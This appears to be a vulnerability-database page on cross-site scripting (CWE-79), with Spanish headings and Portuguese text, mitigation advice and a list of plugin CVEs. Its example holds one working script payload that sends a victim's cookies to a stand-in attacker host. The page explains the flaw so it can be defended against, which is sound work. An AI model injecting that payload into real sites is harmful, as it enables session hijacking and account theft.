Fallos del tipo CWE-79

30.186 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-2484MEDIUMMulti Video Box <= 1.5.2 - Reflected Cross-Site Scripting via video_id and group_id ParametersEPSS 0.3%CVE-2024-5192MEDIUMFunnel Builder for WordPress by FunnelKit – Customize WooCommerce Checkout Pages, Create Sales Funnels, Order Bumps & One Click Upsells <= 3.3.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG UploadEPSS 0.3%CVE-2024-5226MEDIUMFuse Social Floating Sidebar <= 5.4.10 - Authenticated (Author+) Stored Cross-Site Scripting via File UploadEPSS 0.3%CVE-2024-4580MEDIUMMaster Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor <= 2.0.6.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-0845MEDIUMPDF Viewer for Elementor <= 2.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via renderEPSS 0.3%CVE-2024-10706MEDIUMDownload Manager < 3.3.03 - Admin+ Stored XSSEPSS 0.3%CVE-2024-5664MEDIUMMP3 Audio Player for Music, Radio & Podcast by Sonaar <= 5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via sonaar_audioplayer ShortcodeEPSS 0.3%CVE-2024-8318MEDIUMAttributes for Blocks <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via attributesForBlocks ParameterEPSS 0.3%CVE-2026-79799HIGHUnauthenticated Stored Cross-Site Scripting (XSS) Vulnerability in ClearPass Policy Manager Web-Based Management InterfaceEPSS 0.3%CVE-2024-6870MEDIUMResponsive Lightbox & Gallery <= 2.4.7 - Authenticated (Author+) Stored Cross-Site Scripting via File UploadEPSS 0.3%CVE-2024-5073MEDIUMEssential Addons for Elementor <= 5.9.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via Twitter FeedEPSS 0.3%CVE-2024-4364MEDIUMQi Addons For Elementor <= 1.7.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button WidgetEPSS 0.3%CVE-2024-8282MEDIUMIbtana – WordPress Website Builder <= 1.2.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via align AttributeEPSS 0.3%CVE-2025-53626MEDIUMpdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluationEPSS 0.3%CVE-2024-5663MEDIUMCards for Beaver Builder <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Cards WidgetEPSS 0.3%CVE-2024-13827MEDIUMRazorpay Subscription Button Elementor Plugin <= 1.0.3 - Reflected Cross-Site Scripting via add_query_arg and remove_query_arg FunctionsEPSS 0.3%CVE-2024-7353MEDIUMAccept Stripe Payments <= 2.0.86 - Authenticated (Contributor+) Stored Cross-Site Scripting via accept_stripe_payment_ng ShortcodeEPSS 0.3%CVE-2024-38038MEDIUMBUG-000165732 - Reflected XSS in Portal for ArcGISEPSS 0.3%CVE-2025-8604MEDIUMWP Table Builder – WordPress Table Plugin <= 2.0.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-4669MEDIUMEvents Addon for Elementor <= 2.1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%